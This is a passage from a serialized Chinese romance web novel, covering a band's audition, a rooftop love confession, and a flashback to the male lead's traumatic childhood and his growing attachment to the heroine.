安晓岚恰在这时开口:“照霜,你有空吗,我妈最近给我介绍了几个相亲对象,你能不能帮我参谋参谋?” 陆照霜求之不得,“好。” 这明显就是女生之间的话题了,萧烨的目光在陆照霜身上不甘心地停留几秒,最后还是只能道:“那下次见……阿霜。” 一直等萧烨的背影从窗口消失,陆照霜才松了口气,回头看向安晓岚。 安晓岚并没有要拿出手机或者照片让她参谋的意思。 那显然是个借口。 陆照霜摸不准安晓岚是什么意思,但还是谢道:“我最近和萧烨有些尴尬,多谢你帮我解围。” “我不是为了帮你解围。” 随着这句话落下,安晓岚转过身,打开了放在她桌上的一个笔盒,然后小心地从里面拿出了一张还沾着潮湿泥土的字条。 陆照霜一顿,这一刻才陡然意识到。 如果安晓岚根本分辨不出他们给时光胶囊做的标记,那她要如何确定,被毁掉的那个时光胶囊,是郁思弦的呢? 看着陆照霜若有所觉的眼神,安晓岚淡淡解释:“我没有想偷看,但我赶到的时候,他的胶囊就已经压破了,我认得出他的笔迹。” “我知道我该把它还给郁思弦,虽然现在还没有他的联系方式,但只要我想,我总能跟人要到的。” “可是……就当我自作主张吧,我希望你能看到它,”安晓岚长呼出口气,然后,握着那张纸条,朝她递过来。 “你敢看吗,陆照霜?” 无论是安晓岚郑重其事的语气,还是她故意避开萧烨的举动,都让陆照霜意识到,那绝对,会是一张足以让他们的关系发生地震的字条。 陆照霜的目光凝在那张字条上,手指颤抖了一下,还是把它接过。 泥土把字条糊得湿漉漉脏兮兮的,可字迹却还是清晰的,像是被丢弃在角落,却还在闪烁的星星。 十八岁的郁思弦写的是——“陆照霜,如果换我先遇到你会怎么样?” 那是他们留给十年后的自己的时光胶囊,可他没有留下任何对未来的期许。 只有这么简单的,一句话。 “抱歉,我明知道你和萧烨的关系,但还是自作主张给你看这个字条,抱歉,真的抱歉。但我就是,真的想让你看看。”安晓岚有些语无伦次。 “我和萧烨已经离婚了。”陆照霜下意识反驳道。 安晓岚愣了一下。 “我和萧烨已经离婚了……”陆照霜感觉维持大脑运转的发条里被卡进了什么东西,几乎不能转动了,只在机械地重复着这句话。 “照霜,”安晓岚神色微变,“你是不是——” 急促的电话铃声打断了安晓岚。 陆照霜下意识按下了接听。 “陆照霜!为什么不回消息?你是真的想被我弄死吗?!!离发车就剩半个小时了,你人呢?” 林珩暴躁的声音从手机里冲了出来。 陆照霜恍然回过神,立刻站起身,匆忙对安晓岚道谢,“谢谢你帮我把这张字条留下,等我下次请你吃饭,我有急事得先走了。” “照霜?” “再见,晓岚!”陆照霜也顾不上看安晓岚的反应,抓起包就冲下了楼,坐进车里,恳请司机开得快点。 到了高铁站,她也不知道是什么时候了。 刚一过安检,林珩就一手拎起她的行李箱和包,一手抓住她胳膊,带她朝检票口狂奔,刷了身份证奔过去,“快快快!” 陆照霜却被挡在了检票口外,大大的红色的叉号显示在上面。 她懵懵的,工作人员适时提示,“小姐,请刷您的身份证件。” 陆照霜这才反应过来,原来她手里握着的,还是那张潮湿的字条。 “哦哦!”她手忙脚乱从兜里拿出身份证刷票。 过了检票口,林珩甚至等不及电梯,就拽着她从楼梯上噔噔噔冲下去。 临近开车,站台上空空荡荡,只剩下他们两狂奔着冲进最近的一截车厢。 两个人倚靠在门口的过道上,刚喘了没两口气,车厢门就合上了。 林珩抱着头慢慢蹲到了地上,仰头看着她,不敢置信地张大了嘴,“不是,大小姐,你今天怎么回事?这也太不靠谱了。” 陆照霜脑子还是木的,只凭本能喘着气,回答不上来。 林珩的目光又落在了她手上,“你手里捏的那是什么?还能当成身份证的?” 他说着,就想去碰,陆照霜却条件反射般抽开了手。 两个人愣愣地注视了一会儿,林珩挠挠头,站起身,“好好好,你拿着吧,我不碰,走,我们去找他们。” 陆照霜一言不发地跟在他身后,攥着那张字条的手掌已经变得汗涔涔的,却还是没有松开手。 不知道走过了几节车厢,再反应过来的时候,是高若涵的惊呼,“啊,还好你们赶上了!我还怕你们两上不来了呢……诶?照霜姐,你脸色好奇怪,是不是跑累了,来来来,赶紧坐。” 高若涵挪进靠窗的位置,然后拍了拍她旁边那个空座位。 陆照霜听从指令,就要走过去。 但下一秒,高若涵就被徐勿凡拎起来,推到了另一边林珩唐湾那边的三人座,“换个位置。” 然后她又一手把陆照霜推到两人座的靠窗位,自己在跟着在一旁坐下。 高若涵一脸茫然:“勿凡姐?” 徐勿凡给自己塞上耳机,淡淡道:“我要睡觉,林珩会磨牙。” 林珩瞪圆了眼睛:“我什么时候磨牙了?” 高若涵眨了下眼,目光在徐勿凡和林珩间走了个来回,“勿凡姐怎么知道林珩哥会磨牙的,你们两?” 林珩下意识缩了缩脑袋,唐湾则是立刻搓着手坐直了身体。 那头一下子就被八卦点燃了。 这边终于安静下来。 徐勿凡把自己的渔夫帽摘下来,目不斜视,往旁边那人头上一盖,然后把另一边耳机也塞进了自己耳朵,就抱着胳膊开始闭目养神。 她只平静地说了一句,“还有两个小时到站,不想被别人看出什么,就尽快调整好。” 陆照霜拉住渔夫帽的宽大帽檐,往下盖住了自己的脸,轻轻地“嗯”了一声。 那张字条沾上了泥土、清晨的露水、她的汗水,这会儿,应该看不清内容了吧。 但她大概也,再也不可能忘记那行字了。 十八岁那年,提出要埋时光胶囊的那个人是萧烨,她当时立刻就很有兴致地赞同了,郁思弦没有鼓动什么,但也没有反对。 他们策划等晚自习结束,就偷偷把时光胶囊埋进小树林里。 陆照霜捏着笔,认认真真想了很久,才提笔开始写。 郁思弦的位置离她不远,她每次一歪头,都看到郁思弦正在做数学模拟卷。 他那个样子,哪有空写时光胶囊嘛。 等下了晚自习,他们避开同学老师,偷偷钻进小树林,萧烨去卖苦力挖洞,陆照霜和郁思弦就坐在一边的长椅上放风。 她好几次低头看郁思弦手里的那只胶囊,很怀疑地问:“你真的写了?” “嗯,写了。”郁思弦轻声说。 “骗人,我根本没看到你写。” 郁思弦笑了笑,“我只是写得很短而已。” “这可是我们给十年后的自己的信,你想想,等十年后,你打开它,多有纪念意义呀,怎么能不好好写呢?” 说着,她变戏法一样从兜里掏出一只笔,捧起来给他看,“看!我特地给你把笔带上了!你可以垫着我的手写,我保证不偷看!” 为了展现自己的诚意,她很坚定地偏过了头。 身后传来郁思弦很低的一声笑。 然后,她捧着笔的手,就被郁思弦动作轻柔地合起来了。 “不用了,阿照,因为……我好像也没有什么可以期待的东西。” 陆照霜眼睫轻颤,茫然地回头看他。 少年穿着浅蓝色的校服T恤,月光和银白的路灯,穿过他们头顶稀疏的爬山虎,把碎光落在他脸上。 他眼睑微垂,温柔而悲伤地,朝她笑了笑。 陆照霜不止一次,见过郁思弦露出这样的表情。 订婚以后,为了商定婚期,她回了一趟伊冬,奶奶带着她去寺庙求签问吉凶。 她求到的姻缘签是“大凶”。 哪怕她并不迷信,在婚前收到这种签文,也很难笑得出来。 就在这时,本来只是作陪的郁思弦,却求到了“大吉”。 她一时觉得啼笑皆非,也不恼了,“好啦,反正我们又不信这个,别告诉奶奶就行了。” 郁思弦却很久没有作声,一直低头看着他的签文,忽然,他抬手,将签文递向她,“给你吧。” 陆照霜茫然了一下,待反应过来,坚决不肯收,“这可是大吉,你给自己留着呀。” 他淡声道:“我已经不需要了。” 陆照霜因他语气里的死寂,而愣了一下。 就在她愣神的功夫,郁思弦掰开她的手,将那支签文牢牢地,塞进了她的掌心。 “收下吧,阿照。” 郁思弦低垂着眸,很轻很轻地笑了一下,“我好像也没有什么……可以送给你的东西了。” 她还想说点什么,奶奶却突然叫她。 她只好先朝奶奶跑去,却在迈进殿门的刹那,若有所觉地回过头去。 郁思弦仰头站在菩提树下,满树寄托着美好姻缘的红色绸条随风飘摇,却好像没有任何一根落在他身上。 他空得像一阵会随时消失的风。 隔着两年、隔着八年,她好像终于看懂了他那些时候的眼神。 郁思弦,如果你想问,假如你先遇到我,我们会怎么样? 那么我也想知道,如果你先遇到我,你要怎么样? 陆照霜心想,他们暧昧了并不算长的一段时间。 但她尚且说不清她是从何时开始变化的,就更谈不上,去深究郁思弦是从何时开始的。 也许就是因为这几个月他们走得太近了。 瞒着所有人共享一个秘密,在无*人知晓的地下酒吧拥抱一切热烈和自由。 这是最容易催生暧昧的时间和场合。 毕竟在此之前,他们已经度过了十分疏远的两年。 但如果他们疏远的理由并不如她先前所料。 如果这一切对他来说,开始于她结婚之前、开始于他们十八岁之前、开始于任何她可以想象的节点之前…… 那这就是,漫长而沉重到,陆照霜绝对无法去回报,也无力去回报的感情。 “快到站了,去洗个脸再回来。”徐勿凡淡淡出声提醒。 “好。”陆照霜将帽檐拉得很低,垂着头经过过道,在盥洗台前站定。 她把帽子取下来,看着镜子里自己那张肿着眼睛的脸,自嘲般笑了一下。 明明准备主动结束的是她,怎么她一脸失恋了的样子。 这可不行。 她终于展开一直攥紧的手掌,那张字条皱巴巴的,字迹只能勉强分辨。 她将它对折抚平,而后塞进了手机壳里面。 这样薄的东西,塞进去也不会凸起来,外表一如往常,就像藏起一个秘密。 她洗了把脸,用粉底遮了遮脸上的痕迹,重新回到座位,等着和大家一起下车。 抵达湘城,他们先去酒店放了行李,然后一起去节目录制地点踩点,计算出发时间。 最后回到酒店。 “大家都保持好状态!明天加油!”林珩给大家鼓了鼓劲,目光在陆照霜脸上多停了几秒,但最终什么也没有多说,“今晚好好休息,我们不会输的!” 毕竟是在酒店,高若涵没敢大声附和,但也小小地举了举拳头,“加油!” 他们是五个人,订了三间房,陆照霜自费给自己订的单人间,但临到晚上,她去敲了高若涵的门,和高若涵换了房间。 高若涵自然没什么意见,兴冲冲跑去睡了。 徐勿凡已经躺在了床上,脸上还贴着面膜,看她拖着行李箱进来,哂笑了一声,“你不至于还会为这种场合紧张吧?” 陆照霜从自己的行李箱里取东西,平静地说:“不,是为了让我自己今晚不要多想,我们明天绝对不能失误,不是吗?” 徐勿凡的目光在她身上又停了一会儿,然后把一只蓝牙耳机朝她抛过来,“想太多就听听。” 陆照霜接过,戴上。 她以为那会是什么助眠的纯音乐,但不是,是他们在搁浅演奏的录音。 她惊讶地朝徐勿凡看去。 徐勿凡慢吞吞地揭开面膜,按揉脸颊,“放心,我没自恋到这种程度,只是想提醒自己不要忘记。” 不要忘记搁浅那个简陋的环境,还是不要忘记当时唱歌的状态? 陆照霜没有问,只是随着耳机里那夹杂着噪音的歌声,她重新回忆起那些在舞台上尽情挥洒的日子。 渐渐地,也就真的平静了下来。 临睡前,陆照霜把耳机还给徐勿凡,犹豫了一下,又问:“如果因为我的关系,思弦不再来看我们了,你觉得大家会失望吗?” 徐勿凡背对她躺着,没回身,“不会,这里没人想乘郁思弦的东风,对他们来说,从你正式加入的那一天起,你就比郁思弦重要。” 陆照霜怔了一下。 “而且,”徐勿凡像是觉得好笑似的,“虽然我确实不太喜欢那个人,但他也不是那种表白被拒了,就会给我们使绊子的人吧。” 陆照霜不免失笑,不知道徐勿凡是怎么看出他们之间的事的,但她还是觉得轻松了不少。 她躺回到自己床上,静了一会儿,突然又道:“对了,还没恭喜你和林珩在一起了。” 徐勿凡的背影狠狠打了个寒颤,“赶紧睡吧,我们好像不是什么能在晚上聊这种事的关系。” …… 第二天一早,他们五个人抵达了录制现场。 这是一栋废墟感很强的大楼,外表显得荒芜破败,但处处不规则的设计又凸显出一种从废墟中挣扎而出的不驯感。 不知道郁思弦是怎么找到的这栋楼,从看到它的第一眼,陆照霜就觉得,这栋楼给她一种很强烈的熟悉感。 站在这样的楼前,林珩也格外斗志昂扬,“我们走吧!” 来参加现场海选的乐队很多,有他们都耳熟能详的知名乐队,更多的,还是像他们一样籍籍无名的小乐队。 两边的气氛迥然不同,老乐队那边都在聊天叙旧,小乐队这边气氛冷得能冻出冰疙瘩。 毕竟,今天他们之中,会被淘汰的,会在一半以上。 今天的海选没有观众,就是乐队按号叫到演播厅,对着评委现场演奏,其他乐队则待在休息室,通过墙壁上的大屏看转播。 录制已经正式开始了,休息室里也架着很多摄像头,很显然,今天他们的所有反应,都有可能被剪进节目里。 高若涵和唐湾不免有些不知所措。 高若涵联想到自己看过的综艺节目,在思考自己是不是应该在别人唱歌的时候哭一哭。 就在这时,她看到身边的陆照霜从包里掏出了纸笔,一边看转播,一边速记着什么东西。 高若涵悄悄倾身去偷看,发现那是陆照霜对每个上场乐队的风格判断,和对每个成员的表现评价。 她好奇道:“照霜姐,你这是在干嘛?” 陆照霜头也没抬,仍旧在笔记本上飞速记录,“在分析,我们不是说好了要留下来吗?那现在上场的所有人,就都是我们以后的对手。” 高若涵一愣。 就算那天,在练习室听陆照霜说了那番话,她也觉得很感动,可其实是现在这一刻,她才真的拥有了实感。 陆照霜是认真的。 她是认真地,要竭尽全力和他们一起,为了乐队的未来,努力留在这个舞台上的。 高若涵吸了吸鼻子,打开手机便签,也开始做起了记录。 其他成员们在她们的影响下,都做起了同样的事。 在整个休息室里,逃出人间的这一角,便显得格外特别。 后台导播间,总导演自然没有错过这一幕。 他摸着下巴,看得笑了一下,“虽然只是海选,但已经拿出行动来应对其他乐队了吗?就这么笃定能闯过海选?胆子真不小。” “郁总,我还挺看好这支乐队的,要不要给他们多留点镜头啊?”他偏头朝身边的男人望去。 郁思弦的目光也落在那一角,眉眼间有种微不可查的温和,但并没有多说什么,“怎么分配镜头,是你的权利和专业,你从节目的角度自己判断。” 总导演若有所思。 虽然《乐队人》是他们公司的重点项目,郁思弦以往也很重视,但从未像这次一样,直接到现场盯着看。 他还以为是郁总有一些别的想法,打算亲自插手。 但这些天看下来,他感觉郁总更像是来,监督这个节目的公平性的。 …… 一直到了下午五点,才终于轮到了逃出人间上场。 临上舞台前,他们在黑暗中互相抵了抵拳头,低声对彼此道:“加油!” 走上舞台的第一瞬,评委们便朝他们倾斜了身体。 无它,只因他们今天每个人,都带着黑色的面具。 坐在评委席最中间的,是圈内知名老牌音乐人蔺承平。 他一边翻看着他们的简历,一边推了推眼镜。 “喔,逃出人间?很别致的名字,还有个小提琴手,构成也很特别,不过……你们的造型比这些都更别致,怎么,你们是走神秘主义风格的乐队吗?”他玩笑般问。 “风格嘛,”林珩笑了笑,“我相信,等各位评委老师看完我们的表演,就什么都知道了。” 他转过头,朝每个成员点了点头。 他们的第一次出场、与观众的第一次见面,自然是选择他们最有代表性的那首歌——《假面》。 经过很长时间的讨论,这首曲子的编曲,也与最开始有了很大不同。 开场的不再是林珩的电吉他,而是陆照霜的小提琴。 这种颇为少见的乐队构成,以及小提琴古典优雅的音色,一下子将评委们引入了神秘又新鲜的气氛里。 他们看了一整天海选,已经有些疲倦,这会儿重新燃起了注意力。 “每天从寂静清晨中醒来, 生活在日复一日地重复。 没人在意, 我的模样, 安安分分规规矩矩成为所有的一员。” 当徐勿凡的嗓音响起,评委们就更是忍不住,露出了惊艳的神色。 今天是一个全然陌生的环境。 他们头一次面对这么空旷的舞台、无孔不入的摄像头、业内大佬们的审视目光,以及承载着他们未来的巨大压力。 但这是《假面》。 熟悉到几乎烙在他们的骨血里,和“逃出人间”融为一体的《假面》。 他们谁,都不可能出错。 “我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 但是今天,我再醒来, 想清晨是夜晚, 想夜晚是白天, 我厌倦了体面, 丢掉假面, 丢掉假面!” 最后一句歌词落下,所有乐器的声音利落果决地收尾,与此同时,五个人齐齐撕下自己的面具,向舞台高处狠狠抛去。 正对着那最后一句歌词——丢掉假面! 在历久不散的余音里,他们露出了大汗淋漓,却又燃烧着灼灼眸光的脸。 这样的舞台效果,让评委们一时都回不过神来。 “小提琴手,陆照霜。”陆照霜微微屈膝,朝评委们优雅行礼。 “鼓手,唐湾。” “贝斯,高若涵。” “吉他,林珩。” “主唱,徐勿凡。” 他们迟来地,在演奏结束后,才一一向评委和镜头介绍自己。 最后,林珩重新握住麦克风,嘴角扬起不会屈服的弧度,简短又狂傲地道:“这就是我们——逃出人间!” 当他们再回到后台,其他乐队看着他们的目光就变得不同了。 但他们并没有沾沾自喜,而是重新坐回座位,又开始紧锣密鼓地做笔记。 不过,在等待下一个乐队开始演奏的间隙,林珩朝陆照霜比了个大拇指,“那个丢掉面具的舞台设计,很棒、很有创意!” 其他人也跟着朝她竖起了大拇指。 这个创意,来自陆照霜决心脱下面具的那一天。 那是她把自己藏起来的假面,而既然这首歌本来就叫《假面》,那为什么不把这个动作和这首歌融合在一起呢? 陆照霜很高兴,她一路走来的曲折路程,能化成一份有用的收获,“能帮到大家就好。” 所有乐队演奏结束,转播屏关掉,评委们开始商议淘汰结果。 休息室的气氛比早上更凝滞了,大家进进出出的,都透出显而易见的焦躁。 陆照霜不是没有自信,但还是被气氛感染。 忽然,有个穿制服的人走到了她面前,小声道:“陆小姐,能麻烦您出来一趟吗?” 她愣了一下,跟其他成员们说了一声,便跟着出去了。 出了休息室,那位工作人员却一言不发,径自往前走。 陆照霜茫然地跟着,一直转过了一个拐角,走进寂静的走廊。 另一位工作人员在那里等着她,将一束花递到她怀里,然后朝她微微点了点头,就一言不发地跟同伴走了。 走廊里只剩下了陆照霜一个人。 而她怀里,捧着一束娇艳欲滴的红玫瑰。 不用想都知道,这是谁送她的花。 她也是这时才意识到,郁思弦此前,从未送过她红玫瑰。 今天这束花的意义,让她心跳忽然就漏了两拍。 花束上别着一张卡片,郁思弦的笔迹——我在天台等你。 …… 陆照霜深吸了口气,推开天台的门。 从天台看上去,这栋建筑和它周围的环境,比在楼下看到的,更加不规则。 像横生出的一段树枝,像破土而出的一片棘刺。 而郁思弦就站在这样不规则的建筑里,双手撑着栏杆,背对着她,夕阳在地面上拉出一段长长的影子。 真的很奇怪。 明明郁思弦是那么善解人意的人,一旦被他温柔相待,就会像陷进一片温柔的云里,所有的一切都会被包容接纳。 可就是这样的郁思弦,却让她觉得,和这样荒芜又不驯的建筑,无比相配。 郁思弦若有所觉,转过身来,“你来了?” “嗯,”陆照霜不太自在地拂了下头发,朝他走近,然后停在和他隔着一个人距离的栏杆处,试图寻找话题,“这里看上去不太会有人来。” “当然,天台一般都是锁着的。” 郁思弦说着,沿着十几层高的建筑物向下望,“阿照,据说站在高处向下望的时候,人会产生一种想跳下去的欲望。录制期间的压力大,我可不希望出现这种意外。” 那他今天为什么要打开天台呢? 陆照霜好像已经明白了答案。 “花,喜欢吗?”郁思弦的目光从她怀里的玫瑰,挪到了她的脸上。 陆照霜垂下眼睫。 这个时刻,终于还是到了。 她闭了闭眼,轻声说出她已经仔细思忖过好多遍的话。 “思弦,有时候,作为朋友在一起待得久了,因为太了解对方,所以也就,很容易产生一种过分同频的共振,而这种共振……大概也很容易让人产生误解。” 她拒绝过很多人,却头一次,把话说得曲折到拗口的地步。 郁思弦的目光仍旧落在她头顶,让她觉得炙热。 “你是想说,我误解了我对你的感情?”郁思弦平静地问。 陆照霜下意识抱紧了怀里的玫瑰花,不忍地别开视线。 天台上沉默了很久。 而后,传来郁思弦的一声轻笑。 陆照霜有些不解地转过头去。 郁思弦轻声道:“如果这是误解,那这段误解在我的人生中,已经漫长到,再也没有任何所谓的真实,能解开这个误会了。” 陆照霜心头猛地颤动了一下。 郁思弦握着栏杆,缓缓呼出口气,“我想过很长时间,但直到现在,我也不知道有什么词汇能描述我的感觉,说喜欢太浅,说爱也不够充分。” “但如果一定要用某个世界上存在的词语来描述——” 他偏过头,温柔地注视着她的眼睛。 “那么阿照,我想我爱你。” 【作者有话说】 非常抱歉,这一章比我想象中长太多了,所以晚了一个小时。 总之是日更,当天不更会挂请假条,如果晚上九点没更新那就是在改错别字或者写长了暂时收不了尾,稍微晚一点就更了。 但以后会尽量避免出现这种情况的 46 第46章 /郁思弦的暗恋① ◎你曾经是我活到每一个明天的全部期待◎ 郁思弦的人生,是从六岁开始的。 准确来说,是从六岁那年,子弹穿过母亲的身体,把血溅到他脸上的那一刻开始的。 在那之前他幸福过吗?不知道,他记不清了。 以那道红色为界,前六年的时光渐渐变得模糊不清,以至于最终成为他再也无法想起的浮光掠影。 从手术室出来几个月后,他仍旧卧病在床,也仍旧说不出话。 爸爸最开始的悲痛欲绝,在日复一日照顾一个失声小孩的过程中,终于被消磨殆尽。 那天在心理医生走后,爸爸抱着脑袋盯着他,着了魔一样看了很久很久,然后走过来,抓住了他的衣领,命令道:“郁思弦,你给我说话!听到了吗?我让你给我说话!” “几个月过去了,这么一点心理问题你都克服不了吗?你想告诉我,你妈用命换回来的,是个连话都说不出的废物吗?!!” 爸爸的眼睛越来越红,手上的力气也越来越大,他渐渐喘不过气来了。 郁思弦其实也并没有,很强烈的非要活下去的欲望。 但人的本能是那样的,当他几近无法呼吸的那一刻,身体自动做出反应,他下意识地去掰爸爸的手,手脚乱蹬,推翻了床头的玻璃杯,惊动了从外面路过的护士。 “天哪先生您在做什么!”闯进来的人瞪大了眼,险些引起诉讼。 那天之后,爸爸带着他匆匆回国,此后十二年的时间,郁思弦再也未曾踏足大洋彼岸的这片国度。 回国以后,处处都是探究的、同情的、看热闹的目光。 爸爸厌烦透顶,解雇了所有家政和司机,带着他搬到了南郊别苑。 爸爸的新生活自此开始了,他把郁思弦丢给保姆和护工,自此不再过问郁思弦的身体状况、不再过问郁思弦的失声问题、甚至也不怎么回家。 爸爸的态度也毫无意外地,影响到了家里所有工作人员的态度。 他们仍旧按照合同内容照顾他,但也没有别的了。 “思弦,出来吃饭。” “思弦,衣服掀起来,换药。” “思弦,跟我去做检查。” “思弦,出来见客人。” …… 每个人都机械地叫他去做该做的事情。 因为郁思弦不会说话,所以也不再有人想听他的想法和意见了。 他的世界变成了一部没有声音的黑白默片。 对于这一点,郁思弦其实也并没有什么所谓。 他是个烫手山芋,在那些安静注视着所有人的时光里,他无师自通了那些人情世故,待在自己终日寂静的房间,称职地做一个不给人添麻烦的人偶。 陆照霜和萧烨第一次来拜访他们家时,郁思弦甚至没有去记他们的脸。 他只是遵照父亲的命令,从房间出来,作为父亲展示伤痛的展品,承受客人们哀怜的目光,听他们说些“真不容易”、“一定很辛苦吧”云云的话。 如此便完成了展品的工作,他可以回房了。 却忽然响起一个女声:“思弦,可以带阿霜和小烨去参观一下你的房间吗?” 第一次有人提出这种要求。 郁思弦抬起头,看到说这句话的阿姨。 即便是这种私下聚会,她的坐姿依然优雅端正,视线温和,克制着怜悯的尺度,是刚才所有客人里,唯一没有对他说什么“可怜、辛苦”之类的话的人。 很久以后,郁思弦知道了她的名字,她叫章若华。 爸爸显然也没有料到这种提议,愣了一会儿,才有点尴尬地说:“思弦,你就带他们去看看你的房间吧。” 郁思弦依言照做,领着后面那两个叽叽喳喳的小男孩小女孩进了房间。 萧烨最开始很有兴致,但当他发现郁思弦的房间既没有机器人和遥控车,也没有NDS和PSP以后,他很快就打起了哈欠。 他很自然地拉住了陆照霜的手,“阿霜,去我家打游戏吧。” 陆照霜听萧烨一说,也明显意动。 他们终于要走了。 郁思弦自顾自坐到沙发上,随手拿起一本绘本开始看,静等这两位不速之客的离开。 然而,他视野里忽然垂落一片阴影。 他下意识抬起头,越过绘本上沿,看到一双葡萄一样漂亮的眼睛。 小女孩弯腰看着他,蕾丝裙摆碰到了他的小腿,几缕柔软的黑发垂落到他脸上,带着丝丝让人难耐的痒意。 “你想不想跟我们一起去?”她问。 郁思弦愣住了。 萧烨显然有些不耐烦,“阿霜,他还病着呢,你叫他干嘛呀?” 陆照霜:“我们可以问问郁叔叔,说不定行呢。” “他连话都不会说,你怎么知道他想不想去啊?” 是的,郁思弦说不出话,走到哪里都只会给人添麻烦,是一个别人避之不及的烫手山芋。 他很有自知之明,甚至连失望都没有,就已经平静地垂下了眼。 但小女孩却伸手把他的绘本按到了膝上,蹲下身与他平视,歪头问他:“你想还是不想?” 郁思弦没有了藏起自己的绘本,有点手足无措。 “哦对了,你不能说话,”她眨着眼等了一会儿,忽然反应过来,笑眯眯地又问:“那你想就眨一下眼,不想就眨两下眼,好不好?” 很多年后,在陆照霜被陆叔叔砸伤额头,来他家包扎伤口的那天,她聊起他们的第一印象,她说,“你应该对我没什么印象了,从小到大都是这样,大家总是对萧烨印象更深。” 她怎么会以为,在他们的初见里,他会牢记萧烨而遗忘她呢? 她对他来说……是这部黑白默片开始以来,第一次想听到郁思弦声音的人。 他身体不好,畏寒得厉害,但这会儿,他却发现自己攥着绘本的手心沁出了黏腻的汗水,伴随着自己重新开始鼓噪的心跳。 他敏锐地预知,他不会再有第三次被她邀请的机会。 于是,他谨慎又小心翼翼地,朝她眨了下眼。 那真的,是一个很容易让人产生错觉,以为漫长的冬天终于结束,生活开始变好的节点。 事实是,不会。 他并没有被允许出门,却因为记住了她,而开始日复一日地,看她如何从他们家门外经过。 上学、玩耍、和家人散步…… 错觉结束以后,他每一天都在看到,他们过着多么截然不同的生活。 属于他的寂静,比以往都更加深刻地向他涌来。 他经常看着自己身边的窗户,往下眺望的时候,有时候会觉得,它好像一个拥有强大引力的黑洞,在引诱着他跳下去。 直到陆照霜再一次闯进他家的那天。 她呆呆地在门口站了好一会儿,然后飞扑过来,把他的窗户猛地锁上了。 “好冷好冷,不要开窗呀!”她在九月的秋天,笑着对他说。 从那以后,陆照霜几乎每天放学,都会跑来陪他一段时间,跟他絮絮叨叨说一些学校里发生的事情、或者抱怨小提琴真的好难学。 然后耐心地等他在纸上写出回复。 在那些时候,她总是很可爱地托着腮说:“思弦还好有你,不然都没有人听我抱怨,你会不会觉得我很烦?” 她说得好像郁思弦做了什么很辛苦的事情,起到了什么不可替代的作用。 但郁思弦十分清楚,她的话里,十句里只有一句谈得上抱怨,她也从来不缺听她说话的朋友。 那只不过是陆照霜为了陪伴孤身一人的他,而说下的谎言。 因为陆照霜抽出时间来陪他,所以萧烨跟她生了好大的气,闹了好久的别扭。 郁思弦明白萧烨在气什么。 那是嫉妒。 就像郁思弦嫉妒着他们可以一起上学、一起放学、一起出去玩,共享着无数郁思弦根本无从知晓的生活。 萧烨也不满于郁思弦抢走了陆照霜留给他的时间。 他气势汹汹,来向郁思弦宣布他的所有权。 郁思弦没有任何能胜过萧烨的信心,他以为他要失去她了,但她没有,反而是萧烨最终拗不过,只能偃旗息鼓,勉为其难地加入了他们的行列。 从那时起,郁思弦就知道了,陆照霜就是那么心软的人,只要向她展现苦痛,她就无法置之不理。 郁思弦就这样,卑鄙地、心存侥幸地、自私地,利用着她的同理心,把她留在他的身边。 可有一天。 她没有来。 郁思弦从天亮等到天黑,她还是没有来。 他茫然无措地坐在床上,好像再一次被抛弃了。 直到楼下的电话铃声响起,然后保姆上楼,对他说:“思弦,你的朋友给你打了电话。” 他眨了下眼,立刻下了楼,接起电话。 果然是陆照霜的声音。 她的声音很兴奋,但又有点抱歉,“思弦,爸爸妈妈带我来黎城看姨妈,我要在这里玩几天,不能去找你了,你今天过得怎么样?” 郁思弦张开嘴,想回答她,但只能发出不成调的破碎音节,他慌忙抬头四顾,看到客厅里的纸笔,眼前一亮。 他拉了拉保姆阿姨的衣袖,给她比划了一下电话,又比划了一下纸笔,示意她等一下,然后帮他回电话。 可还没等他拿住笔,身后就已经响起了保姆阿姨的声音。 “嗯嗯,思弦今天还是跟往常一样……啊,章女士……是,谢谢您的关心……好好,您挂吧。” 他怔怔地回过头。 保姆阿姨毫无所觉地对他笑,“隔壁的那个小姑娘人真好,去亲戚家了还不忘给你打电话。” 郁思弦已经听不清她在说什么了。 他呆呆地回了自己卧室,很久以后,他才想到,他还可以给陆照霜发短信的。 他跟保姆阿姨借了手机,照着今天拨过来的那个号码发了短信过去:【我是郁思弦,抱歉,没有回你的电话。】 回复很快就传了回来,郁思弦精神一振,而后在看到短信内容的刹那,目光重新黯淡下去。 【没关系思弦,阿霜明白的,她已经睡着了,你也早点休息,别想太多。】 那是章若华回的短信。 他默默地删除短信,把手机还回去,然后回到房间,慢慢抱住了自己的脑袋。 明明陆照霜已经打来了电话,他们却没能真正对彼此说上一句话。 这全都是因为……郁思弦不能说话。 在意外发生这么久,他以为自己早都已经麻木的这一天晚上,他再一次,濡湿了半个枕头。 第二天,医生照常来到家里。 郁思弦从一早就等在门口,然后门打开的那一瞬,他对医生举起纸板——“我要怎么才能说出话?” 医生向来波澜不惊的脸上,第一次露出惊讶的神色。 郁思弦又换上新的一张纸板——“我要怎么才能尽快好起来可以出门?” 他的复健和心理治疗,是从那一天,才真正开始的。 然后。 七岁那年的初春,他可以在离家不远的地方散步。 七岁那年的春末,他看着放学后来找他的陆照霜,磕磕绊绊地第一次发出声音,“阿……照。” 陆照霜和萧烨都愣了一下,然后笑得前仰后合。 萧烨擦着眼泪,“你怎么说话能这么结巴的?” 陆照霜则大方地拍了拍他的肩膀,“没关系,怎么叫我都行。” 萧烨跃跃欲试,“叫我叫我!” 这一次郁思弦准确无误地叫道:“萧烨。” “喔!不磕巴了!”萧烨又惊讶又满意。 陆照霜则呆了一下,然后苦恼地抓了抓头发,“早知道就让你第二个叫我了!啊,算了,不重要,你开始说话就很好啦!” 郁思弦垂下眼睫。 那其实,不是结巴产生的错误。 阿霜,最亲近的人都这么叫她,再生疏一点的人,会管她叫照霜。他想成为她最亲近的人,他该叫她阿霜。 可郁思弦多贪婪。 只想要私藏,世界上唯一一个,对她的独家称呼。 阿照、阿照、阿照。 因为想和她随时随地说话,不必再借其他任何人之口,所以他再次发出声音。 因为想走出家门,拥有那些萧烨早都拥有的,可以和她共度的时间,所以他开始走出家门。 如果用童话来形容。 那六岁时的郁思弦,就好像被锁在高楼上的莴苣公主,日复一日地等着陆照霜走进他的世界。 但那种等到最后,无能为力到只能哭泣的时刻,他再也不想体会了。 郁思弦想拥有,能够走进她的世界的能力。 这是陆照霜送给过郁思弦的,最珍贵的礼物。 这样的感情。 说喜欢太浅薄,说爱也并不充分。 他真正的感情,是沉重到唯恐吓到她,而不敢宣之于口的东西—— 你曾经,是我对于活到每一个明天的全部期待。 47/ 第47章 郁思弦的暗恋② ◎他晚了她的心有所属◎ 郁思弦七岁那年,父亲再娶。 